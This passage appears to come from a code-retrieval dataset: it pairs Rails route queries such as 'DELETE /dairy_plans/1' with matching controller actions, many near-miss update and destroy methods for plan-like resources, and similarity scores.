@plan.update_attributes(params[:plan])\n\t\t\t\tformat.html { redirect_to @plan, notice: I18n.t('helpers.project.success_update') }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\tend\n\t\tend\n \telse\n\t\t\trender(:file => File.join(Rails.root, 'public/403.html'), :status => 403, :layout => false)\n \tend\n \tend", "def update\n @plan = Plan.find(params[:id])\n authorize @plan\n attrs = plan_params\n # rubocop:disable Metrics/BlockLength\n respond_to do |format|\n # TODO: See notes below on the pan_params definition. We should refactor\n # this once the UI pages have been reworked\n # Save the guidance group selections\n guidance_group_ids = if params[:guidance_group_ids].blank?\n []\n else\n params[:guidance_group_ids].map(&:to_i).uniq\n end\n @plan.guidance_groups = GuidanceGroup.where(id: guidance_group_ids)\n @research_domains = ResearchDomain.all.order(:label)\n\n @plan.funder = process_org!(user: current_user, namespace: 'funder')\n @plan.grant = plan_params[:grant]\n attrs.delete(:funder)\n attrs.delete(:grant)\n\n @plan.title = @plan.title.strip\n\n if @plan.update(attrs)\n format.html do\n redirect_to plan_path(@plan),\n notice: success_message(@plan, _('saved'))\n end\n format.json do\n render json: { code: 1, msg: success_message(@plan, _('saved')) }\n end\n else\n format.html do\n # TODO: Should do a `render :show` here instead but show defines too many\n # instance variables in the controller\n redirect_to plan_path(@plan).to_s, alert: failure_message(@plan, _('save'))\n end\n format.json do\n render json: { code: 0, msg: failure_message(@plan, _('save')) }\n end\n end\n rescue StandardError => e\n flash[:alert] = failure_message(@plan, _('save'))\n format.html do\n Rails.logger.error \"Unable to save plan #{@plan&.id} - #{e.message}\"\n redirect_to plan_path(@plan).to_s, alert: failure_message(@plan, _('save'))\n end\n format.json do\n render json: { code: 0, msg: flash[:alert] }\n end\n end\n # rubocop:enable Metrics/AbcSize, Metrics/BlockLength\n end", "def update\n respond_to do |format|\n if @sales_plan.update(sales_plan_params)\n format.html { redirect_to @sales_plan, notice: 'Sales plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @sales_plan }\n else\n format.html { render :edit }\n format.json { render json: @sales_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @camp = Camp.find(params[:id])\n begin\n if @camp.valid?\n camp = Stripe::Plan.retrieve(@camp.id.to_s)\n camp.delete\n Stripe::Plan.create( :amount => params[:camp][:cost].to_i * 100, :interval => 'month', :name => params[:camp][:name] , :currency => 'usd', :id => @camp.id )\n if @camp.update_attributes(params[:camp])\n redirect_to(@camp, :notice => 'Camp was successfully updated.')\n else\n render :action => \"edit\"\n end\n end\t\n rescue Exception => e\n @camp.errors[:base] << \"Exception #{e.class}: #{e.message}\"\n render :action => \"edit\"\n end\n end", "def update\n @plantype = Plantype.find(params[:id])\n\n respond_to do |format|\n if @plantype.update_attributes(params[:plantype])\n format.html { redirect_to @plantype, notice: 'Plantype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n puts \"page_plan_params:#{page_plan_params}\"\n respond_to do |format|\n if @page_plan.update(page_plan_params)\n format.html { redirect_to @page_plan, notice: 'Page plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @page_plan }\n else\n format.html { render :edit }\n format.json { render json: @page_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @klassplan = Klassplan.find(params[:id])\n\n respond_to do |format|\n if @klassplan.update_attributes(params[:klassplan])\n format.html { redirect_to @klassplan, notice: 'Klassplan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @klassplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meal_plan.update(meal_plan_params)\n format.html { redirect_to @meal_plan, notice: 'Meal plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @meal_plan }\n else\n format.html { render :edit }\n format.json { render json: @meal_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @actual_action_plan.update(actual_action_plan_params)\n format.html { redirect_to @actual_action_plan, notice: 'Actual action plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @actual_action_plan }\n else\n format.html { render :edit }\n format.json { render json: @actual_action_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ecommerceplan = Ecommerceplan.find(params[:id])\n\n respond_to do |format|\n if @ecommerceplan.update_attributes(params[:ecommerceplan])\n format.html { redirect_to @ecommerceplan, :notice => 'Ecommerceplan was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ecommerceplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @plantype_strategy = PlantypeStrategy.find(params[:id])\n\n respond_to do |format|\n if @plantype_strategy.update_attributes(params[:plantype_strategy])\n format.html { redirect_to @plantype_strategy, notice: 'Plantype strategy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plantype_strategy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:plan][:worker_ids] ||= []\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n flash[:notice] = 'Plan was successfully updated.'\n format.html { redirect_to(@plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n if @test_plan.update_attributes(params[:test_plan])\n format.html { redirect_to(@test_plan, :notice => 'Test plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\r\n @general_plan = GeneralPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @general_plan.update_attributes(params[:general_plan])\r\n format.html { redirect_to @general_plan, notice: 'General plan was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @general_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @billing_plan = BillingPlan.find(params[:id])\n\n respond_to do |format|\n if @billing_plan.update_attributes(params[:billing_plan])\n format.html { redirect_to(@billing_plan, :notice => 'Billing plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @billing_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n mk = connect_mikrotik\n respond_to do |format|\n\n \n @plan_old = @plan.as_json # Guarda os parâmetros antigos do registro para retornar caso não consiga mudar no mikrotik\n \n id = mk.get_reply(\"/ppp/profile/print\", \"?name=#{@plan.profile_name}\")[0][\".id\"]\n puts \"Id do registro a ser mudado\"\n puts id\n\n if @plan.update(plan_params)\n \n result = mk.get_reply(\"/ppp/profile/set\",\n \"=name=#{plan_params[\"profile_name\"]}\",\n \"=rate-limit=#{plan_params[\"rate_limit\"]}\",\n \"=.id=#{id}\")[0][\"message\"]\n\n @notice = 'Plan was successfully updated.'\n if result != nil\n @notice = \"It wasn't possible to update mikrotik\"\n @plan.update(@plan_old)\n end\n\n format.html { redirect_to @plan, notice: @notice }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipo_plan.update(tipo_plan_params)\n format.html { redirect_to @tipo_plan, notice: 'Tipo plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_plan }\n else\n format.html { render :edit }\n format.json { render json: @tipo_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @rating_plan = RatingPlan.find(params[:id])\n\n respond_to do |format|\n if @rating_plan.update_attributes(params[:rating_plan])\n flash[:notice] = 'Long distance plan was successfully updated.'\n format.html { redirect_to(rating_plans_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rating_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_plan\n return unless json_request?\n @plan = current_user.plans.find_by_ident(params[:id])\n return render json: { status: 'failed', alert: '此计划不存在' } unless @plan\n end", "def update\n respond_to do |format|\n if @inventory_plan.update(inventory_plan_params)\n format.html { redirect_to @inventory_plan, notice: 'Inventory plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventory_plan }\n else\n format.html { render :edit }\n format.json { render json: @inventory_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pricing_plan = PricingPlan.find(params[:id])\n\n respond_to do |format|\n if @pricing_plan.update_attributes(params[:pricing_plan])\n flash[:notice] = 'PricingPlan was successfully updated.'\n format.html { redirect_to(@pricing_plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pricing_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @mealplan = Mealplan.find(params[:id])\n respond_to do |format|\n if @mealplan.update(mealplan_params)\n format.html { redirect_to @mealplan, notice: 'Mealplan was successfully updated.' }\n format.json { render :show, status: :ok, location: @mealplan}\n else\n format.html { render :edit }\n format.json { render json: @mealplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n goal = Goal.find params[:id]\n if goal.update(goal_params)\n render json: goal, status: 200\n else\n render json: goal.errors.full_messages, status: 422\n end\n end", "def update\n @plannegocio = Plannegocio.find(params[:id])\n\n respond_to do |format|\n if @plannegocio.update_attributes(params[:plannegocio])\n format.html { redirect_to @plannegocio, notice: 'Plannegocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plannegocio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(params[:plan])\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @business_plan.update(business_plan_params)\n format.html { redirect_to @business_plan, notice: 'Business plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @business_plan }\n else\n format.html { render :edit }\n format.json { render json: @business_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @service_plan = ServicePlan.find(params[:id])\n\n respond_to do |format|\n if @service_plan.update_attributes(params[:service_plan])\n flash[:notice] = 'ServicePlan was successfully updated.'\n format.html { redirect_to(@service_plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @service_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @study_plan.update(study_plan_params)\n format.html { redirect_to edit_study_plan_url(@study_plan), notice: 'Study plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @study_plan }\n else\n format.html { render :edit }\n format.json { render json: @study_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end", "def update\n respond_to do |format|\n if @mealplan.update(mealplan_params)\n format.html { redirect_to @mealplan, notice: 'Mealplan was successfully updated.' }\n format.json { render :show, status: :ok, location: @mealplan }\n else\n format.html { render :edit }\n format.json { render json: @mealplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "def test_change_plan\n response=@root_key_api.change_plan(\"[email protected]\",\"password\",@account_id, \"Bronze\")\n \n response=@root_key_api.describe_plan(\"[email protected]\",\"password\",@account_id)\n assert_include response, 'type'\n assert_equal 'Bronze', response['type']\n\n response=@root_key_api.change_plan(\"[email protected]\",\"password\",@account_id, \"Free\")\n end", "def update\n curr_planet = Planet.find(params[:id])\n curr_planet.update(params.require(:planet).permit(:name, :image_url, :diameter, :mass, :life))\n redirect_to \"/planets/#{curr_planet.id}\"\n end", "def update\n respond_to do |format|\n if @finance_plan.update(finance_plan_params)\n format.html { redirect_to @finance_plan, notice: 'Finance plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @finance_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :price, :trainings_id)\n end", "def update\n respond_to do |format|\n if @operative_plan.update(operative_plan_params)\n format.html { redirect_to @operative_plan, notice: 'Plan operativo actualizado exitosamente' }\n format.json { render :show, status: :ok, location: @operative_plan }\n else\n format.html { render :edit }\n format.json { render json: @operative_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @meal_plan = @meal.day.meal_plan\n\n respond_to do |format|\n if @meal.update(meal_params)\n format.html { redirect_to meal_path(@meal), notice: \"Meal was successfully updated.\" }\n format.json { render :show, status: :ok, location: @meal }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @meal.errors, status: :unprocessable_entity }\n end\n end\n end", "def follow_up_update\n @plan = ::Plan.find(params[:id])\n authorize @plan\n\n attrs = plan_params\n\n # Save the related_identifiers first. For some reason Rails is auto deleting them and then re-adding\n # if you just pass in the params as is :/\n #\n # So delete removed ones, add new ones, and leave the others alone\n ids = attrs[:related_identifiers_attributes].to_h.values.compact.map { |item| item['id'] }\n @plan.related_identifiers.reject { |identifier| ids.include?(identifier.id.to_s) }.each(&:destroy)\n\n attrs[:related_identifiers_attributes].each do |_idx, related_identifier|\n next if related_identifier[:id].present? || related_identifier[:value].blank?\n\n RelatedIdentifier.create(related_identifier.merge({ identifiable: @plan }))\n end\n attrs.delete(:related_identifiers_attributes)\n\n @plan.grant = plan_params[:grant]\n attrs.delete(:grant)\n\n @plan.title = @plan.title.strip\n\n if @plan.update(attrs)\n redirect_to follow_up_plan_path, notice: success_message(@plan, _('saved'))\n else\n redirect_to follow_up_plan_path, alert: failure_message(@plan, _('save'))\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :user_id, :description, :id, :starting_year)\n end", "def create\n @plan = Plan.new(plan_params)\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def update\n @backend_planet = Backend::Planet.find(params[:id])\n\n respond_to do |format|\n if @backend_planet.update_attributes(params[:backend_planet])\n format.html { redirect_to @backend_planet, notice: 'Planet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @backend_planet.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_plan\n puts '==================================='\n puts params \n puts '==================================='\n @plan = Plan.find(params[:id])\n end", "def show\n render json: @plan\n end", "def update\n @vendor_test_plan = VendorTestPlan.find(params[:id])\n\n respond_to do |format|\n if @vendor_test_plan.update_attributes(params[:vendor_test_plan])\n flash[:notice] = 'VendorTestPlan was successfully updated.'\n format.html { redirect_to(@vendor_test_plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vendor_test_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.create(plan_params)\n @incident = Incident.find(params[:incident_id])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to incident_plan_path(@incident, @plan) }\n format.json { redirect_to incident_plan_path(@incident, @plan) }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n \n add_plan_to_user_if_specified!\n format.html { redirect_to(@member, :notice => 'Member was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @member.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @plan_milestone = PlanMilestone.find(params[:id])\n\n respond_to do |format|\n if @plan_milestone.update_attributes(params[:plan_milestone])\n format.html { redirect_to @plan_milestone, notice: 'Plan milestone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan_milestone.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @floor_plan.update(floor_plan_params)\n format.html { redirect_to @floor_plan, notice: 'Floor plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @floor_plan }\n else\n format.html { render :edit }\n format.json { render json: @floor_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting_plan.update(meeting_plan_params)\n format.html { redirect_to @meeting_plan, notice: 'Meeting plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting_plan }\n else\n format.html { render :edit }\n format.json { render json: @meeting_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan_setting = PlanSetting.find(params[:id])\n\n respond_to do |format|\n if @plan_setting.update_attributes(params[:plan_setting])\n format.html { redirect_to @plan_setting, notice: 'Plan setting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan_setting.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :user_id, :catalogYear, :majorName)\n end", "def update\n respond_to do |format|\n if @floor_plan.update(floor_plan_params)\n format.html { redirect_to :back, notice: 'Floor plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @floor_plan.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7073873", "0.7072488", "0.6765213", "0.6765213", "0.6737903", "0.67075473", "0.66997933", "0.66997933", "0.66997933", "0.66997933", "0.66997933", "0.66792053", "0.664666", "0.6628924", "0.659729", "0.6558785", "0.65347445", "0.6520873", "0.64665", "0.6445309", "0.643712", "0.63996375", "0.6394694", "0.63527006", "0.63365376", "0.63257325", "0.6312382", "0.63098794", "0.63016593", "0.62949973", "0.6278927", "0.62648964", "0.6257043", "0.6244125", "0.62258625", "0.6217429", "0.62021834", "0.6199825", "0.6194552", "0.61871827", "0.6174551", "0.6171285", "0.6170291", "0.6169933", "0.61581737", "0.6157431", "0.615702", "0.61563885", "0.61539125", "0.61461216", "0.6142082", "0.613893", "0.61381847", "0.6117537", "0.61162585", "0.61122113", "0.6110891", "0.61058915", "0.6104619", "0.6103357", "0.60973215", "0.60957444", "0.6080411", "0.6076962", "0.60611534", "0.60589933", "0.6053967", "0.60510916", "0.603482", "0.6011514", "0.60050887", "0.5996623", "0.5960712", "0.59602344", "0.5958447", "0.59571767", "0.59550303", "0.5950206", "0.59494406", "0.5947209", "0.5910677", "0.5909592", "0.5902724", "0.5902366", "0.58969647", "0.5891708", "0.58792317", "0.5875504", "0.58730996", "0.5867888", "0.5865975", "0.5862785", "0.5851618", "0.5845123", "0.5844099", "0.58393574", "0.5831998", "0.583002", "0.58207864", "0.5818182" ]
0.62970966
29
DELETE /dairy_plans/1 DELETE /dairy_plans/1.json
def destroy # 先删除所有课程 CourseContent.where(:dairy_plan_id => params[:id]).delete_all @dairy_plan = DairyPlan.find(params[:id]) @dairy_plan.destroy respond_to do |format| format.html { redirect_to student_dairy_plans_url(@student) } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_plan = TestPlan.find(params[:id])\n @test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to test_plans_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @plan.destroy\n\n head :no_content\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @billing_info.destroy\n respond_to do |format|\n format.html { redirect_to select_plan_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n head :no_content\n end", "def destroy\n @billing_plan.destroy\n respond_to do |format|\n format.html { redirect_to billing_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @incident = Incident.find(@plan.incident_id)\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to incident_plans_path(@incident) }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_plan = ExercisePlan.find(params[:id])\n @exercise_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n plan_id = @response.plan_id\n @response.destroy\n respond_to do |format|\n format.html { redirect_to details_plan_path(plan_id) }\n format.json { head :no_content }\n end\n end", "def destroy\n @sslplan = Sslplan.find(params[:id])\n @sslplan.destroy\n\n respond_to do |format|\n format.html { redirect_to sslplans_url }\n format.json { head :ok }\n end\n end", "def destroy\n @panel_plan = Panel::Plan.find(params[:id])\n @panel_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(panel_plans_url) }\n format.json { head :ok }\n end\n end", "def destroy\r\n @general_plan = GeneralPlan.find(params[:id])\r\n @general_plan.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to general_plans_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete(project_token = @project_token, id = @id, user = @@default_user)\n @attributes = send_request(\"test_plans/#{id}\", :delete) do |req|\n req.body = {\n token: project_token,\n auth_token: user.auth_token\n }\n end\n end", "def destroy\n @check_plan.destroy\n respond_to do |format|\n format.html { redirect_to check_plans_url, notice: 'Check plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @ad_plan.destroy\n respond_to do |format|\n format.html { redirect_to ad_plans_url, notice: 'Ad plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @lunchplan = Lunchplan.find(params[:id])\n @lunchplan.destroy\n\n respond_to do |format|\n format.html { redirect_to lunchplans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_plan = TestPlan.find(params[:id])\n @test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @actual_action_plan.destroy\n respond_to do |format|\n format.html { redirect_to actual_action_plans_url, notice: 'Actual action plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @callplan.destroy\n respond_to do |format|\n format.html { redirect_to callplans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @klassplan = Klassplan.find(params[:id])\n @klassplan.destroy\n\n respond_to do |format|\n format.html { redirect_to klassplans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @study_plan.destroy\n respond_to do |format|\n format.html { redirect_to study_plans_url, notice: 'Study plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ecommerceplan = Ecommerceplan.find(params[:id])\n @ecommerceplan.destroy\n\n respond_to do |format|\n format.html { redirect_to ecommerceplans_url }\n format.json { head :ok }\n end\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def destroy\n @meal_plan.destroy\n respond_to do |format|\n format.html { redirect_to meal_plans_url, notice: 'Meal plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pay_plan.destroy\n respond_to do |format|\n format.html { redirect_to pay_plans_url, notice: 'Payment plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = @current_user.plans.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(:root) }\n format.xml { head :ok }\n end\n end", "def destroy\n @operative_plan.destroy\n respond_to do |format|\n format.html { redirect_to operative_plans_url, notice: 'Plan operativo eliminado exitosamente' }\n format.json { head :no_content }\n end\n end", "def destroy\n @mealplan = Mealplan.find(params[:id])\n @mealplan.destroy\n respond_to do |format|\n format.html { redirect_to mealplans_url, notice: 'Mealplan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @mealplan.destroy\n respond_to do |format|\n format.html { redirect_to mealplans_url, notice: 'Mealplan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @socialize_plan = SocializePlan.find(params[:id])\n @socialize_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(socialize_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @page_plan.destroy\n respond_to do |format|\n format.html { redirect_to page_plans_url, notice: 'Page plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @master_plan = MasterPlan.find(params[:id])\n @project = @master_plan.project\n @project.remove_master_plan(@master_plan, current_user)\n\n respond_to do |format|\n format.html { redirect_to client_project_master_plan_path(id: @project.current_master_plan_id, project_id: @project.id, client_id: @project.client_id) }\n format.json { head :no_content }\n end\n end", "def destroy\n @restaurant_floor_plan.destroy\n respond_to do |format|\n format.html { redirect_to restaurant_floor_plans_url, notice: 'Restaurant floor plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @food_plan.destroy\n respond_to do |format|\n format.html { redirect_to applicant_food_plans_path(@applicant.id), notice: 'Food plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plantype = Plantype.find(params[:id])\n @plantype.destroy\n\n respond_to do |format|\n format.html { redirect_to plantypes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @floor_plan.destroy\n respond_to do |format|\n format.html { redirect_to floor_plans_url, notice: 'Floor plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @service_plan = ServicePlan.find(params[:id])\n @service_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(service_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @stage_drymass = StageDrymass.find(params[:id])\n @stage_drymass.destroy\n\n respond_to do |format|\n format.html { redirect_to stage_drymasses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to profile_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def destroy\r\n \r\n @account_plan.destroy\r\n respond_to do |format|\r\n format.html { redirect_to account_plans_path, notice: 'El plan ha sido eliminado correctamente!! ' }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @billing_plan = BillingPlan.find(params[:id])\n @billing_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(billing_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @finance_plan.destroy\n respond_to do |format|\n format.html { redirect_to finance_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inventory_plan.destroy\n respond_to do |format|\n format.html { redirect_to inventory_plans_url, notice: 'Inventory plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n workout_plan = @single_plan.workout_plans.first\n @single_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(workout_plan_exercise_plans_url(workout_plan)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @trip_plan.destroy\n respond_to do |format|\n format.html { redirect_to trip_plans_url, notice: 'Trip plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article_plan.destroy\n respond_to do |format|\n format.html { redirect_to article_plans_url, notice: 'Article plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lesson_plan.destroy\n respond_to do |format|\n format.html { redirect_to lesson_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @weekplan.destroy\n respond_to do |format|\n format.html { redirect_to weekplans_url }\n 